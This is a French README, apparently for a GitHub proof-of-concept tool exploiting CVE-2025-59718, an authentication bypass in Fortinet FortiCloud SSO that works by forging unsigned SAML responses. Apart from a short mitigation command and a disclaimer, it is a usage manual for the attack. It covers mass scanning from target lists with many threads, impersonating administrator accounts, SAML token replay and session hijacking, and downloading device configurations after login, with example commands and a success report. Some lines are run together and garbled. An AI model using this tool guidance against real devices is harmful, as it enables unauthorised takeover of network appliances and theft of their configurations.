Fortinet a annoncé deux vulnérabilités de contournement d'authentification étroitement liées le 9 décembre 2025. Les deux failles impliquent une vérification incorrecte des signatures cryptographiques (CWE‑347) dans le traitement des réponses SAML pour la fonction de connexion FortiCloud SSO.
Cet outil est un script d’exploit proof-of-concept (PoC) pour CVE-2025-59718, une vulnérabilité critique de contournement d’authentification dans les produits Fortinet (par ex. FortiOS, FortiProxy, FortiSwitchManager) due à une vérification incorrecte des signatures cryptographiques dans les messages SAML pour le SSO FortiCloud. La vulnérabilité permet à des attaquants distants non authentifiés de contourner l’authentification et d’obtenir un accès administratif en forgeant et en soumettant une réponse SAML non signée.
Remarque importante : Ce script est destiné uniquement à des fins éducatives, de recherche et de tests autorisés. Toute utilisation non autorisée contre des systèmes sans autorisation explicite est illégale et contraire à l’éthique. Respectez toujours les lois applicables et obtenez les autorisations appropriées avant de tester.
Le script prend en charge le scan d’une cible unique ou groupée, l’utilisation facultative d’un proxy, des simulations de rejeu de jeton SAML et de détournement de session, ainsi que des actions post-authentification comme le téléchargement de fichiers de configuration. Il utilise le multithreading pour l’efficacité et enregistre les résultats dans des fichiers pour analyse.
config system global
set admin-forticloud-sso-login disable
end
pip :
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt avec : requests et argparse si nécessaire.)chmod +x exploit.py
Exécutez le script avec Python :
python exploit.py [options]
--target <IP/hostname> : Cible unique à scanner (par ex. 192.168.1.1 ou exemple.com).--targets <liste séparée par des virgules> : Plusieurs cibles (par ex. 192.168.1.1,exemple.com).--file <chemin> : Fichier avec une cible par ligne.--username <nom> : Nom d’utilisateur à usurper dans la charge utile SAML (par défaut : admin).--endpoint <chemin> : Point de terminaison de connexion SAML (par défaut : /remote/saml/login).--max-threads <int> : Nombre maximal de threads simultanés (par défaut : 10 ; maximum recommandé : 50).--saml-token <jeton> : Jeton SAML encodé en Base64 pour le rejeu/détournement (facultatif).--proxy <url> : URL du proxy (par ex. http://127.0.0.1:8080).--post-auth-config : Active le téléchargement de configuration post-authentification (drapeau ; désactivé par défaut).--vulnerable-file <chemin> : Fichier pour enregistrer les cibles vulnérables (par défaut : vulnerable_targets.txt).--output-file <chemin> : Fichier CSV pour les rapports d’attaque (par défaut : attack_report.csv).Remarque : Si aucune option de cible n’est fournie, le script se termine par une erreur.
Scan d’une cible unique :
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Scanne un seul périphérique, en usurpant admin, via un proxy local.
Scan groupé à partir d’une liste :
python exploit.py --targets 192.168.1.1,exemple.com --max-threads 20 --post-auth-config
Scanne plusieurs cibles en parallèle, active le téléchargement de configuration en cas de succès.
Scan basé sur un fichier avec rejeu de jeton :
python exploit.py --file cibles.txt --saml-token <jeton_base64> --endpoint /custom/saml
Traite les cibles depuis cibles.txt, tente le rejeu/détournement de jeton.
Scan complet non interactif :
python exploit.py --file cibles.txt --username superadmin --max-threads 15 --post-auth-config --output-file resultats.csv
Nom d’utilisateur personnalisé, threads élevés, téléchargement de configuration, sortie personnalisée.
/api/v2/monitor/system/config/backup.Exemple de ligne CSV :
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy pour le débogage.requests et argparse sont installés.--max-threads si les limites de ressources sont atteintes.Il s’agit d’un PoC ; les contributions pour des améliorations (par ex. meilleure détection, fonctionnalités supplémentaires) sont les bienvenues via des pull requests. Concentrez-vous sur la sécurité et l’éthique.
Dernière mise à jour : 22 décembre 2025